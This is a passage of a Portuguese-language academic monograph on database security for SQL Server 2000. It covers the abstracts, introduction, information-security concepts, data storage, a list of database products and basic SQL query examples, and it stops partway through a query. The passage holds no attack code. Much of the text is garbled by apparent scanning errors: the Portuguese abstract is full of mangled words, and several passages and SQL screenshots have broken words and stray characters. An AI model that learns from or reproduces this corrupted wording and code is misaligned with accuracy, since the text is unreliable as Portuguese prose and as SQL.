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RESUMO

E inquestionavel a importancia dos sistemas inftzados nas organizactes
contemporaneas, presentes em praticamente todpsoosssos desde o chao de fabrica,
vendas, faturamento, recursos humanos, controlendeiros, logisticos, sistemas via
Internet, incluindo sistemas de apoio a tomada deisdes baseados em historicos
armazenados. A geracao da inteligéncia competigvabaseia na correta utilizacdo dos
diversos recursos de informacdo disponiveis. E @mae bda maioria dos sistemas
informatizados estdo os Bancos de Dados e sewmmsistgerenciadores que devido a
importancia estratégica de suas funcdes devem eseidamente protegidos na sua
integridade e disponibilidade. As organizacdes inf@ramente responsaveis pelos dados e
informacfes armazenados em seus bancos, as consieagiée uma falha na seguranca dos
dados podem acarretar em perdas financeiras egigdsaas indiretas como desqualificacao
de sua imagem perante a sociedade e seus cliame=ycupacdo com a seguranca dos dados
deve ser responsabilidade de todos os profissioea®lvidos no desenvolvimento e
manutencao dos sistemas. Falhas de seguranca sexigingéio, e também pessoas dispostas
a se utilizar delas para invadir ou atacar osmistevulneraveis. Os profissionais devem ter o
conhecimento e habilidades para enfrentar o des&iprover a seguranca dos ativos de
informacéo, assim como o dominio dos meios de ansmmento de dados, recuperacgéo,
linguagens e estruturas de sistemas, os tiposlitesfa incidentes, os métodos de invasédo e
ataques e seus personagens, e uma especial aterigdoa de evitd-los. Mesmo tendo a
consciéncia que um sistema inteiramente a provdaltes e invasbes é praticamente
impossivel de ser implementado, deve-se evitar &imo as ocorréncias, conhecendo a
maioria da falhas e vulnerabilidades, prevendo sagbeassumir praticas voltadas a total
seguranca dos sistemas, e na impossibilidade thr evna quebra de segurancga, quando esta
ocorrer, que os danos aos dados e tempo de indhdmade sejam 0os minimos possiveis.
Este estudo visa oferecer aos administradores iséia geral sobre 0s aspectos da seguranca
da informacéo, falhas e vulnerabilidades, metodafode ataque utilizadas ptrackers” e
“crackers”, além de uma demonstracdo dos passos para unadéagast, configuracdo e
manutencdo de um ambiente de maxima seguranca esmstema de banco de dados. Uma
pesquisa bibliogréfica e eletronica foi executadea@ obtencdo dos dados necessérios a sua
elaboracéo, foram seguidas as recomendacfes desegpublicadas pelos fabricantes de
sistemas. As praticas de seguranca propostas, @uamhecidas e corretamente aplicadas,
podem minimizar o0s riscos de seguranca em um sstafificultando e por vezes
neutralizando as possibilidades de ataques e iasasfem das falhas humanas, mecéanica e
fatores ambientais. A garantia de um ambiente semaiui a atualizacdo tecnoldgica dos
sistemas e membros das equipes de desenvolvimentmarutencdo, incluindo a
conscientizacdo dos gestores dos investimentosadpk a seguranca, que tem como foco a



continuidade dos negdcios, o apoio tecnoldgico examional, gerando 0 suporte necessario
aos gestores a tomadas de decisfes estratégicasdalimeardo o planejamento da
organizacdo no caminho do diferencial perante cader e sociedade e que atua. O processo
de prover a seguranca dos dados e sistemas dewmaeantina ciclica, de continuos testes e
novas funcionalidades, na busca das melhores ggate desenvolvimento e protecdo a
informacdo, a cada nova tecnologia agregada atwstracarreta em novos estudos de
seguranca, esse processo de retroalimentacdo em®e@u organizacdo a confianca na
continuidade de seus negocios, e consequentementntagem competitiva objetivada pelos

seus gestores.

Palavras-chave:Informética, Bancos de Dados, Dados, Informacadah€oimento,

Segurancga, falhas, invasao, vulnerabilidades, moidthide dos negéciosackers crackers
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ABSTRACT

Is unquestionable the importance of the systems patenized in the
contemporary organizations, presents in practicallyof the processes from the factory
ground, sales, revenue, human resources, finagoiadrols, logistics, Internet systems,
including support systems the jack of decisiongtam stored reports. The generation of the
competitive intelligence is based on the correa o$ the several available information
resources. And in the base of most of the commadrsystems are the Databases and your
managers systems that due to the strategic immpartahyour functions should be properly
protected in your integrity and availability. Theganizations are entirely responsible for the
data and information stored in your banks, the equences of a fault in the security of the
data can cart in financial losses and indirect equnences as disqualification of your image
before the society and your clients, the concer Wie security of the data should be the
professionals’ responsibility involved in the dey@hnent and maintenance of the systems.
Security holes always exist, and also people vgltimuse them to invade or attack vulnerable
systems. The professionals should have the knowladg abilities to face the challenge of
providing the security of the assets of informatias well as the domain of the data storages,
recovery, languages and structures of systemdyges of faults and incidents, the invasion
methods and attacks and your actors, and a steation the way of avoiding them. Even
with the conscience that a system entirely the fpaddaults and invasions are practically
impossible of being implemented, it should be aedido the maximum the occurrences,
learning most of the faults and vulnerabilitiesiefeeing actions and to assume practices to
apply total security of the systems, and in theadsgibility of avoiding a break of security,
when this happens, that the damages at the datdamadf unavailability be the minimal
possible. This study seeks to offer to the adnrizigts a general view on the aspects of the
security of the information, faults and vulnerai®k, attack methodologies used by "hackers"
and "crackers", besides a demonstration of thessteqpan installation, configuration and
maintenance of an environment of maxim security idatabase system. A bibliographical
search and electronics was run for the obtaininthefnecessary data for your elaboration,
and security’'s recommendations published by the ufa@turers of systems. Security's
practices proposals, when known and correctly adpthey can minimize security's risks in a
system, hindering and sometimes neutralizing thssipdities of attacks and invasions,
besides the human faults, mechanics and enviromnéattors. The guarantee of a safe
environment includes the technological upgrade ltgd systems and members of the
development and maintenance teams, including therem@ss of managers of investment
applied to security, that you has as focus theigoity of the businesses, the technological
and operational support, generating the necessguyost to managers in strategic decision-
making, that will delineate the planning of the amgation in the path of the differential to



the market and society. The process of providirgsticurity of the data and systems should
be a cyclical routine, of continuous tests and mauctionalities, in the intention of the best

practices of development and protection the infdilonato each new technology joined to the
structure induce in new studies of security, theedback process will assure to the
organization the trust in the continuity of yoursimesses, and consequently in the
competitive advantage aimed at by your managers.

Word-key: Informatics, Databases, Data, Information, KnowksdSecurity, faults, invasion,

vulnerabilities, continuity of the businesses, teaskcrackers.
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CAPITULO 1 — INTRODUCAO

Os Servidores de Bancos de Dados sdo respons&leisnmazenamento,
otimizacdo e distribuicdo dos dados utilizados pel@ande maioria dos sistemas
informatizados, estes devem estar protegidos ddaperroubos, desvios e exposicdes
indevidas. O profissional de Sistemas de Informde&oa obrigacdo de conhecer as técnicas

de ataque e defesa e prover a integridade dasnafdies sob sua responsabilidade.

1.1 Objetivo

Este trabalho tem como proposta a demonstracaoistus de seguranca
presentes em sistemas de bancos de dados, os dheeingasdo e suas técnicas de defesa,
além de configuracdes de seguranca propostas eamimente SQL Server 2000, instalado

em um servidor Windows 2000 Server.

1.2 Justificativa

Os bancos de dados armazenam informagdes vitaigasizagcdes, por esse
motivo devemos proteger os dados neles armazenddogerdas, roubos, manté-los

disponiveis e integros. A protecdo aplicada espaniente no servidor de banco de dados
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visa proteger a estrutura de ataques e falhasgigasga que o atinjam, neutralizando ou
minimizando os problemas que possam ocorrer.

O ambiente SQL Server 2000, hospedado em um SerWiltdows 2000
Server, apesar do tempo decorrido de sua impleg@ntaainda é muito utilizado nas
organizacdes, devido a sua robustez, estabilidafeiledade de configuracdo, mas € um
sistema com muitas falhas de seguranca nativasfajae solucionadas no decorrer do
tempo, e hoje se encontra em um nivel de estatidida confiabilidade aceitaveis. Uma
instalacdo padrdo desse ambiente sem os deviddasdosi com a seguranca se apresentaria
como um sistema bastante vulneravel e potenciaémestavel.

A utilizacdo dos métodos propostos nesse trabaltyopcionara um sistema

com a estabilidade e confiabilidade atualmenteéaosis.

1.3 Metodologia

Para a confeccdo desse trabalho, foi efetuada wequiza bibliogréafica,
abrangendo as areas Administrativas, Direito ecpaimente Tecnologia de Informacéo,
especialmente focados em seguranca de informadéanes de dados, peridodicos como
revistas técnicas e artigos publicados na Intefidetins de discussdo, recomendacdes de
seguranca obtidas no site do fabricante dos aplisattilizados, aliado aos conhecimentos

obtidos pela pratica adquirida em anos de trabath@mbiente proposto.
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1.4 Estrutura do trabalho

* Capitulo 1 — Introduc&o.

o Demonstra os objetivos, justificativa, metodologiastrutura do
presente trabalho.

» Capitulo 2 — A informacéao.

o Faz uma compilagdo de como é gerado o conhecinzeptuotir
das informacdes e dados armazenados. Discorre sabre
preocupac¢ao com seguranca de informacéo,

e Capitulo 3 — Armazenamento e acesso a dados.

o Demonstra meios de armazenamentos de dados, e@nBaibcos
de Dados, Sistemas Gerenciadores de Bancos de,Bados
funcionamento, linguagens utilizadas e formas éssus a
dados.

» Capitulo 4 — Incidentes em bancos de dados.

o Demonstra os incidentes que podem ocorrer em Bam&mados,

danos, falhas, invasdes, ataques e atacantes.
e Capitulo 5 — Métodos de ataques a bancos de dados.

o Demonstra exploracoes, invasdes, e métodos deestaqu
Sistemas e Bancos de Dados.

» Capitulo 6 — Configuracado de um banco de dadoseegu

0 Passo a passo para uma configuragcdo segura detemasi
Gerenciador de Bancos de Dados.

e Capitulo 7 — Concluséo.
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o Conclusdes e consideracdes finais.
Anexo 1 —*Check list” de seguranca para o SQL Server 2000.

Anexo 2 — Lista das atualiza¢des disponiveis p&8&b Server 2000.
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CAPITULO 2 — INFORMACAO E CONHECIMENTO

Segundo Davenport e Prusak (1998) o conhecimeatdnéca fonte capaz de
gerar vantagem competitiva sustentavel, e que raagaromo elas utilizam o que sabem e
como adquirem novos conhecimentos é o que garantéiferencial no mercado. Cabe aos
profissionais de Tecnologia de Informacéo a tadefazelar pela integridade da informacéao
armazenada, oferecendo o0 suporte necessario atwegesa geracdo do conhecimento

necessario a tomadas de decisdes estratégicas.

2.1 Dados, Informacéo e Conhecimento

Para o entendimento dos conceitos apresentadosndsvdiscriminar a
diferenca de dado, informacdo e conhecimento, geddd as semelhancas de suas
atribuicdes frequientemente se confundem.

Dado, do Latin Datu - “aquilo que se conhece ertirgib que se inicia uma
solucéo de um problema, a formacao de juizo, ondesemento de um raciocinio. Elemento
inicial de qualquer ato de conhecimento. Informacapaz de ser processada por um
computador” (HOUAISS, 2001).

Dados podem ser entendidos como elementos nagrigti@ilos ou conjunto
simples de registros, resultado da experiénciagrebgdo ou atividades. Os dados podem

consistir em numeros, palavras ou imagens, as Geslie observacfes de um conjunto de
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variaveis. O dado em seu sentido mais puro, naaitéicade pratica, pois necessitam de um
conceito, de um escopo para serem interpretados.

De acordo com o Dicionario Houaiss da Lingua Pasg (2001),
informacdo vem do latinmformatio,onis ("delinear, conceber idéia"), interpretacdo ou
significado dos dados.

“Informacdo é uma abstracdo informal (isto €, nadepser formalizada
através de uma teoria l6gica ou matematica), qu@en@smente de alguém, representando algo
significativo para essa pessoa.” (Setzer, 2002)

Os dados corretamente agrupados, organizados entegr@o contexto que
se destina, sdo a base ou uma fonte de absorcadodmacdes. Entdo, informacdo seria
aquilo que se tem através da decodificacdo dessies.d

“Conhecimento € uma abstracao interior, pess@ahklguma coisa que foi
experimentada por alguém” (SETZER, 2002), corredpom unido das informacdes
catalogadas, agregadas as experiéncias do seadmilj que guia as decisfes estratégicas

embasados em aspectos diretos e indiretos do aordrgo empresarial acumulado.

2.2 O conhecimento como vantagem competitiva

Nonaka (1997) afirma que “numa economia onde aalmerteza € a
incerteza, a Unica fonte garantida de vantagem ettiva duradoura € o conhecimento”,
vemos também que sdo extremamente delicados deagetpie refletem nesta vantagem, as
organizacdes necessitam aprimorar o conhecimendweést das informacdes armazenadas

durante sua prépria existéncia. A formacao degpdatantelectual € um processo ciclico e
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interminavel, que norteia as acdes estratégicasasesrganizacdes, e a tecnologia da
informacé&o vem sendo utilizada como elemento admgdessas informacdes, através de
criacao de diversos sistemas informatizados queaden o devido suporte aos gestores nas
tomadas de decisoes.

O progresso de uma organizacao estara diretamgatila capacidade da utilizacdo dessas

informacdes para acdes inovadoras e a criagaordweciomento empresarial.

2.3 Seguranca da informacéao

Mesmo antes da populariza¢do da informatica, dgseelados comecaram a
ser armazenados, existe a preocupacao com a segutas informacdes. Segundo a NBR
ISO/IEC 17799 o conceito de seguranca de informagedmapacidade de preservacéo de cinco
aspectos fundamentais: Confidencialidade, Intedad®isponibilidade, Autenticidade e Nao
repudio,

*  Confidencialidade — “Garantia de que 0 acessoanrdcao seja obtido

somente por pessoas autorizadas.”;

. Integridade - “Salvaguarda da exatiddo e completdiezanformacéo e

dos métodos de processamento.”;

. Disponibilidade - “Garantia de que os usuarios @zados obtenham

acesso a informacéao e aos ativos correspondemgsesgue necessario.”;

. Autenticidade — “Verificar se a comunicagao, tr@d@saou acesso a

algum servico é legitimo.”;
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. N&o repudio — “No envio de uma mensagem 0 remetgepodera

negar o envio da mesma.”.

Devemos agora dividir os problemas de segurancdogrcenarios, a seguranga

fisica e logica:

. Seguranca fisica: Ameacas como acidentes, incéndéssbamentos,
alagamento, acesso indevido, defeitos de hardware.
. Seguranca logica: virus, acessos remotms;kups desatualizados,

violagao de senhas, invasdes, ataques etc.

2.3.1 Preocupacbes com a seguranc¢a dos dados.

Engana-se o administrador de um sistema quanddit@cigue instalando
robustos sistemas de segurancga, antivieugj-spyware equipamentos de redes como
firewalls e detectores de intrusdo estara totalmente pdutedg uma invasdo ou perda de
dados. Falhas de seguranca vém sendo reportadéasmeiate e os administradores de
sistemas e bancos de dados devem manter-se aloaliza adotar praticas seguras de

desenvolvimento e custddia de dados, onde divagumectos devem ser ciclicamente revistos.
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Figura 1 - Corrente - Cadeado

Fazendo uma analogia a um sistema de corrente eolado, para que
consigamos invadi-lo podemos abrir o cadeado com ehmave roubada, arrombar o cadeado,
quebrar qualquer elo da corrente, ou convenceraig@®m o abra, em qualquer caso, a
seguranca ja estd comprometida.

Perceba como é facil ter uma visdo distorcida derseca, no exemplo, se
colocar um cadeado absolutamente inviolavel, unngecte de material indestrutivel, treinar
os funciondrios para que nunca o abra a ninguémprechavera a possibilidade de alguém
esquecer a chave sobre uma mesa e um invasor aopsagredo e |4 se foi todo o
investimento com a seguranca.

Acompanhamos na atualidade uma disseminacdo dassidmge da
informagédo, num passado ndo muito distante, ossdadoporativos eram confinados a
organizacdo e a poucas pessoas. Hoje contamos gleatisos via Internet, em que o

préprio consumidor é o operador do sistema da esaprele pessoalmente escolhe os
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produtos, verifica estoque, disponibilidades desovoltagem, seleciona formas de entrega e
pagamento.

O faturamento das compras é efetuado sistemicanpaiées instituicoes
bancarias, que informam a loja que os pagamenwmsegsados, 0s sistemas de logistica
calculam autonomamente os valores de frete e pmeantrega, selecionam as melhores
rotas de entrega, as mais rapidas ou mais baratas.

Sistemas de compras e cotacdo de precos com fdorese sao
automatizados, ha um crescimento dessa modalidadeegbcios baseados em B2C, onde
clientes e fornecedores interligam seus sistemes @amelhor e mais eficiente fluxo de
informacoes.

Em uma rapida descricdo de uma compra feita oneeficamos diversas
possibilidades de quebra de seguranca, imaginamqgsaato seria complicado analisar
milhares de transacdes por minuto, verificando rabnente a autenticidade a cada passo do
processo.

Os administradores de redes, sistemas e bancosdibs édtualmente nao
focam suas acdes e investimentos em sistemas tdyaehte inviolaveis, devendo ponderar
0S gastos inerentes a aquisicdo, manutencéo,reima em sistemas especiais de seguranca,
nao devendo deixar de mensurar 0 custo operacipoa, um sistema “seguro” pode se
mostrar com um desempenho inferior devido a digetsacas de chaves, algoritmos de
criptografia e o consumo da banda de rede.

Um sistema com muitos requisitos de seguranca,ss@cele senhas e
gargalos de autenticagdo pode gerar um aumentpetwdos de suporte dos usuarios, que
normalmente esquecem senhas, ja um sistema dectiostante de chaves pode acarretar na
cultura dos empregados em criar senhas faceis ota-&as em papel, ja que ndo podem

confiar na memoria, gerando assim novas brechasquaanca.
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Novos desafios sdo agregados constantemente adsiggge sempre que
novas tecnologias sédo incorporadas, novas vulliglabes as acompanham, assim como
possiveis problemas na integracdo aos sistemasolega

Construir uma infra-estrutura totalmente a provafadleas, como vimos é
praticamente impossivel, partiremos para o paraaligenque problemas de seguranca mais
cedo ou mais tarde irdo acontecer, entdo tentargmeg-los, contra-ataca-los, e na
impossibilidade de defesa, quando este aconteioaparcto a integridade das informacdes e a
continuidade dos negdcios deverdo ser a minimavabss

Limites ndo faltam para as consequéncias de undamer dados em uma
empresa, desde uma queda de produtividade momentéste caso, poucas acdes conduzem
ao retorno da condicdo inicial da informacéo, at@asalisacdo total de sua atividade
produtiva, no caso de uma pane em um sistemaaviiejanizacao.

A preocupacdo com a seguranca dos dados e infoesagfhazenadas nos
diversos sistemas de uma empresa ultrapassa dsslida mesma, uma falha de seguranca
pode impactar diretamente na imagem da organizpggmte a sociedade e o mercado em
que atua. Reflexos podem acontecer a clientes,ededores, investidores, 0Orgao
regulamentadores, fiscais, juridicos. E empresaendoder acionada criminalmente pela
exposicdo de informacdes sensiveis publicamentemecasos extremos, poderd ter sua
atividade inviabilizada por tempo indeterminad@scaie as falhas sejam revertidas.

Segundo a Professora Diniz (1986) “responsabilidgadecomo a aplicacéo
de medidas que obriguem alguém a reparar dano mo@htrimonial causado a terceiros em
razao de ato do préprio imputado, de pessoa panale responde."” Assim sendo, quem
pratica um ato ilicito devera indenizar a parte sofeeu o prejuizo, sendo este financeiro ou

moral.
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A empresa que tenha seu banco de dados de clientatido respondera
civilmente a estes possiveis danos causados pbkag#o indevida de seus dados, como
documentos, informacdes confidenciais, habitosahswmo, histérico de transacdes. Assim
como os danos morais com a exposicao publica degeamacoes.

Alguns dados, nas méaos de pessoas desonestasa@aeerutilizados na
abertura de contas bancarias fantasmas, habilitdedservicos publicos como energia e
telefones, até mesmo como base para atos aindacomaexos como sequestro e lavagem
de dinheiro. As consequéncias de falhas de sistatrasformacdes levam a infinitas
possibilidades de fraude, o que forca os administess a estudarem investimentos mais
pesados em seguranca, na tentativa de neutraizaossiveis acoes advindas de perdas de

informacoes.
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CAPITULO 3 - ARMAZENAMENTO E ACESSO A DADOS

Segundo STAIR (1996), “a informacao é o conhecimeletrivado de dados,
que por sua vez, sado representacdes de fatos gemisgistrados independentes do meio”.
Os meios de armazenamento devem ser dimensionadqoangidade de informacdes que
serdo guardadas, a facilidade de recuperacédo dismdes e a confiabilidade que se espera do

arquivamento.

3.1 Armazenamento fisico de dados

Antes da massificagdo da utilizagdo dos sistemfasniatizados, os dados
das empresas eram armazenados de varias maneiriasjanos com livros, atas, ficharios, o
papel era 0 meio de armazenamento mais utilizada) emuitos casos o Unico, 0os problemas
de seguranca nessa época eram o0 roubo desses gapé&igecessaria uma invasao fisica ao
local dos arquivos, uma coépia poderia ser invidlelido ao tempo e poucos recursos
apresentados (Quem tinha uma foto copiadora digplond escritério?), ou os danos fisicos,
como incéndios, alagamentos e outros acidentesamatu

Num momento as organizagdes perceberam, umas apEamente que
outras, que se continuassem guardando esses [HEREUS arquivos se tornariam maiores
que seus escritorios. Algumas empresas antesaaiatizacdo de seus ativos de informacéao,

ainda passaram pela era da microfilmagem, proaggsaconsistia em copiar os dados em
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filmes fotograficos que eram lidos através de emmigntos proprios, nesse momento
organizacGes mais atentas ja iniciaram a preocopam@ a divulgacdo de suas informacdes
confidencias, lembrando que na grande maioria dssscos microfilmes eram revelados em
empresas terceirizadas, que poderiam néo tomaridodeuidado com informacdes alheias.
Ainda hoje os microfiimes sé&o utilizados, porém aituacdes muito

especificas, e existem empresas especializadassnmagdias.

Figura 2 - Microfilme de 1988



Figura 3 - Equipamento leitor de Microfilme

Figura 4 - Operador de Equipamento de Microfilme
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3.2 Bancos de dados

Podemos armazenar dados e informacdes em compegader diversas
maneiras, em arquivos texto, planilhas e orgamg&ée maneira que possamos encontra uma
informacé&o facilmente, mas quando a quantidadeadesicresce pode se tornar dificil ou
impossivel localizar informacfes especificas rapielste. Sistemas baseados em Bancos de
Dados executam o papel da manipulacao desses dadmsna rapida, segura e eficaz.

Segundo DATE (2000) um banco de dados € em ess@peas um sistema
computadorizado de armazenamento de registros.n@obde dados pode, ele proprio, ser
visto como o equivalente eletrbnico de um armaeaacjuivamento. Em outras palavras, €
um repositério ou recipiente para uma colecao geiars de dados computadorizados.

Uma caracteristica inerente dos bancos de dadosasamperacdes que

podemos executar nos dados armazenados, podemos:

*  Acrescentar novos arquivos no banco de dados;
. Inserir novas dados em tabelas existentes;

. Localizar facilmente dados armazenados;

e Alterar dados;

*  Apagar dados;

*  Remover arquivos do banco de dados.

E todas essas acdes sdo executadas em poucos pasplisadas aos
arquivos do banco de dados instantaneamente. © guegpagamos pela facilidade que essa
ferramenta nos oferece € proporcional ao problema gpdemos ter, pois um usuario

desatento (ou mal intencionado) com dois ou tigsi€s consegue facilmente apagar todos os
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dados armazenados por anos. Se essa possibigaedie, isso € uma falha gravissima de
seguranca.

Existem varios fabricantes de sistemas de bancosdatms, e uma
caracteristica obrigatoria € que sempre sera crigdoou Varios arquivos na estacao
servidora, esses arquivos compdes fisicamente aamaf;do armazenada que deve estar

protegida e sera somente manipulada por aplicagispscializados.

3.2 Sistemas Gerenciadores de Bancos de Dados

SGBDs (Sistemas Gerenciadores de Bancos de Dados)aglicativos
especialmente construidos para executar operag@&sbancos de dados, normalmente
apresentados por um aplicativo principal (SGBD pespente) e conjunto de programas que
executam tarefas especificas, como gerador deatiptis, relatorios, utilitarios para a criacédo
e testes de consultas, monitores de desempenhaalye de eventobackupsentre outros.

Os termos banco de dados e SGBD séao facilmentermdinbs em seu significado, € comum
referenciar-se a banco de dados do fabricanteyxquando o termo correto seria SGBD.

Encontramos disponiveis no mercado diversos sistegeaenciadores de
bancos de dados, praticamente todos os grandesafaiess de software do mercado tém sua
versdo de SGBD, e cada produto se diferencia enengesnho, capacidade de
armazenamento, facilidade de uso, aprendizado neipaimente preco. A defesa que os
administradores de bancos de dados atribuem ositpodiue utilizam sédo comparados a
torcidas de futebol, € comum encontrar nos foruasdidcussdo na internet defensores

ferrenhos de determinada tecnologia, tecendo loegas de defesa de seu afeto, e rebatendo
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as criticas aos adversarios, embates estes quantemterminar em empate técnico, mas que

sempre se aguecem no lancamento de novas versbssidmas (Wikipédia, 2008).

Alguns SGBDs disponiveis no mercado:

. PostgreSQL,;

Desenvolvedor: PostgreSQL Global Development Group;
LicencaOpen Source
Multiplataforma.

Web Site: http://www.postgresql.org.br

. Firebird;

Desenvolvedor: Fundagéo FirebirdSQL;
LicencaOpen Source
Multiplataforma.

Web Site: http://www.firebirdsqgl.org/

« HSQLDB;

“Hyperthreaded Structured Query Language Database”
LicencaOpen Source
Construido inteiramente em Java.

Web Site: http://hsqldb.org/

* IBM DB2;

Desenvolvedor: IBM
Licenca comercial;
Multiplataforma.

Web Site: http://www-142.ibm.com/ software/dre/ebtag/list.

wss?locale=pt_BR&category=G107029V41003M10
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mSQL;

. Mini SQL,;

. Desenvolvedor: Hughes Technologies Pty Ltda;

. Licenca comercial.

. Web Site: http://www.hughes.com.au/products/msql/
MySQL;

. Desenvolvedor: Sun Microsystems;

. Licenca GLP e Comercial.

. Web Site: http://mwww.mysqgl.com/

Oracle;

. Desenvolvedor: Oracle Corporation;

. Licenca Comercial.

. Web Site: http://www.oracle.com/global/br/index.htm
SQL-Server;

. Desenvolvedor: Microsoft;

. Licenca Comercial

. Web Site: http://www.microsoft.com/sqlserver/2008/es/

default.aspx

TinySQL;

. Desenvolvedores: Brian Jepson e Davis Swan;
. Licenca LGPL(Lesser General Public License

. Web Site: http://www.jepstone.net/tinySQL/
JADE;

. Desenvolvedor: Jade Software Corporation;

. Licenca Comercial.
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. Web Site: http://www.jadeworld.com
 ZODB;
. Zope Object Data Base;
. Banco de dados transacional orientado a objetabyszo
servidor de aplicacao Zope.

. Web Site: http://wiki.zope.org/ZODB/FrontPage

« SASE.
. Sybase Adaptive Server Enterprise;
. Desenvolvedor: Sybase;
. Licengca Comercial.

. Web Site: http://www.sybase.com/products/databasageme

nt/adaptiveserverenterprise

No mercado podemos encontrar também Sistemas deemegporte,
normalmente utilizados como aplicativos pessoaisaplicacdes distribuidas com poucos
acessos (no maximo 10 usuarios simultaneos), o modasses SGBDs é que o0s dados séo
distribuidos por compartilhamento de arquivos, séado na realidade servidores de dados e
sim um arquivo compartilhado. Existe uma tendégaesses aplicativos serem migrados
para servidores mais robustos quando os limiteledempenho séo alcangados, ou necessita-

se de maiores recursos.

Alguns exemplos
* MSAccess
. Desenvolvedor: Microsoft

. Integrante do Pacote Microsoft Office;
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. E na realidade uma unifo Nbcrosoft Jet Database Engina

uma interface grafica

* Paradox;
. Desenvolvedor: Borland Software Corporation;
. Parte integrante do pacote de programacé&o Delphi.

3.3 Funcionamento basico de um banco de dados

O profissional especialista em banco de dados Beoito pela sigla DBA,
que significaDatabase Administratorou em portugués, Administrador de Base de Dados,
existe no mercado certificacdes as mais diversaslifarentes tecnologias. As carreiras da
Microsoft certificam seus especialistas no prograf@s —Microsoft Certified Professional
e a certificacdo maxima para o SQL Server 2000 sefdCDBA Microsoft Certified
Database Administratof(MICROSOFT, 2008). O Progran@racle Certification Progranda
Oracle, certifica seus profissionais em OCAracle Certificate AssociateDCP —Oracle
Certificate Professionad OCM —Oracle Certificate MastefORACLE, 2008),

A este profissional é designada a tarefa de cangrmanter em perfeito
funcionamento os bancos de dados a ele confiadendme pela sua confiabilidade,
integridade e disponibilidade

Alguns objetos presentes em bancos de dados:

. Tabelas — aqui os dados estdo armazenados em tseio ésuto,

existem padrdes e praticas que devem ser seguidasa construgcéo, que
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visam garantir a integridade dos dados e a faddéidge até mesmo a
possibilidade) de recuperacdo correta dos dadosazamados, uma
concepcao incorreta na criagao das tabelas pode geos futuros em sua
integridade e desempenho que podem, dependendoradédagie do
problema, até mesmo inviabilizar a aplicacéo.

. Consultas Queryg — Sao visdes dos dados, abstraidas conforme as
necessidades das aplicacdes, utilizados para macudados diversos,
como um conjunto especifico de dados filtrados,tuafe céalculos,
agrupamentos, transformar tipos de dados, podemclasive recuperar
dados de diversas tabelas relacionadas, efetuapacagdes e filtros
avancados. A Linguagem de comunicacdo utilizadan@oria dos
sistemas € a SQL'Structured Query Language".

. Stored Procedures- Sdo procedimentos armazenados no servidor,
rotinas que executam fung¢des especificas especitdrpeogramadas pelos
DBAs, que podem executar desde consultas simglesplexos conjuntos
de acOes, AStored Proceduresomo sao pré-compiladas no servidor, tem
um excelente desempenho, é considerada uma arraeopadha protecéo a
ataques a banco de dados.

. Triggers - Sao “gatilhos”, fungbes que se executam arlmimaente
sempre que uma acao é executada no banco de éato#p utilizada na
validacdo de dados, auditorias e verificacdes giiade.

. TransacOes — Sao funcdes programadas quando leessitade da
integridade de diversas a¢cdes em macro, se algasiudcdes atribuidas a
transacdo néo puder ser executada por qualquesegue motivo, os dados

ndo serdo alterados, caso contrario, somente aypdliddacdo da transacao
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que as acdes sdo atribuidas ao banco de dadoseemple de utilizac&o

seria em uma operacao de transferéncia de fundies@mtas, a transacao
podera verificar se ha fundos suficientes na cdetsgedora, se na conta
credora ndo ha nenhum impedimento, conforme oteekutlas consultas a
operacdo é concretizada. As transacfes tambémnenevproblemas de

integridade por problemas fisicos, como quedas deerga,

indisponibilidades de comunicacao.

Existem inumeras fungcbes em SGBDs, mais espegifoceso gerenciador
de transacdes distribuidas, agendamento de talefakups analisadores de desempenho,

entre outras.

3.4 Linguagem SQL

O nome "SQL" significa"Structured Query Language* Linguagem
Estruturada de Pesquisa foi desenvolvida originalenealBM Researchno inicio da década
de 1970 e é hoje a linguagem padrao para o tratangem os bancos de dados relacionais,
esta presente em praticamente todos os produtstemes (WIKIPEDIA, 2008).

A SQL é formada por um conjunto de sentencas et@drestruturado e tem
como caracteristica predominante a facilidade depceensdo mesmo para um iniciante. Sua
curva de aprendizagem € bem acentuada, reduzino®estos com treinamentos.

As instrucbes SQL executam praticamente todasrg®@&s em um Banco de

dados, como por exemplo:
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. Criar, alterar e apagar bancos de dados;
. Criar objetos nos bancos de dados, como tabelasultas,

procedimentos;

Criar indices, constantes;

Funcdes do usuério;

. Criar usuarios, conceder e revogar acessos;

. Incluir, alterar e apagar dados em tabelas;

. Recupera informagdes das tabelas;

. Executar consultas diversas, efetuando calculegpagentos,

transformacoes;

Veremos alguns exemplos de sentencas SQL que mfeizizes em um

banco de dados de exemplo:

=

=

= LOG Consulta : Consulta selecio

SELECT LOG.LOGIN, LOG,ACESS0O, ACESSOS, IDENTIFICACAQ
FROM ACES505 IMMER. JOIM LOG ON ACESS05,LUSERS = LOG,LOGIN
ORDER. BY LOG,COD DESC;

Figura 5 - Sentenca SQL simples
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A2 Nl e N kN L PR TR L L
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=1 ATUALIZA_MATERAIS_OC : Consulta acréscimo = | B[]

INSERT INTO MATERIAIS_OC_SV { COD_MAT, DESCRICAO, UN, QUANT, COD_OC ) ~
SELECT MATERAIS_OC. [Codigo Material], MATERAIS_OC. [DESCRICAQ DO MATERIAL],
MATERAIS_OC.UN, MATERAIS_OC.QUANT, MATERAIS_OC.COD_OC

FROM MATERAIS_OC

WHERE (((MATERAIS_OC.COD_OC)=[Formulérios]! [OCORRENCIAS_3]![COD]));

Figura 6 - Sentenca SQL - Inclusdo de dados

5] CONSULTA UNIAO SALDO A REQUISITAR I : Consulta selecio |- | 3]

SELECT [CONSULTA UNIAG SALDO A REQUISITAR]. [Cédigo Material], [CONSULTA UNLAQ SALDO A REQUISITAR]. [DESCRICAQ DO MATERIAL], [CONSULTA
UNIAO SALDO A REQUISITAR].UN, [CONSULTA UNIAO SALDO A REQUISITAR].NOME, [CONSULTA UNIAO SALDO A REQUISITAR].MINIMO, [CONSULTA
UNIEQ SALDO A REQUISITAR]. [KIT BASICG], [CONSULTA UNIAQ SALDO A REQUISITAR].[SALDO ATUAL], [CONSULTA UNIAO SALDO A
REQUISITAR].REQUISITAR, [SALDOS REQUISITADOS].ENTRADA AS REQUISITADO, [CONSULTA UNIAO SALDO A REQUISITAR].VALOR AS [VALOR
UNITARIO], [VALOR UNITARIO] *[REQUISITAR] AS [VALOR TOTAL]

FROM [SALDOS REQUISITADOS] RIGHT JOIN [CONSULTA UNIAO SALDO A REQUISITAR] ON [SALDOS REQUISITADDS].COD = [CONSULTA UNIAD SALDO A
REQUISITAR].COD

VWHERE ((([CONSULTA UNIAD SALDO A REQUISITAR].REQUISITAR) >0) AND ({[CONSULTA UNIAO SALDO A REQUISITAR].TIPO)=1) AND (([CONSULTA
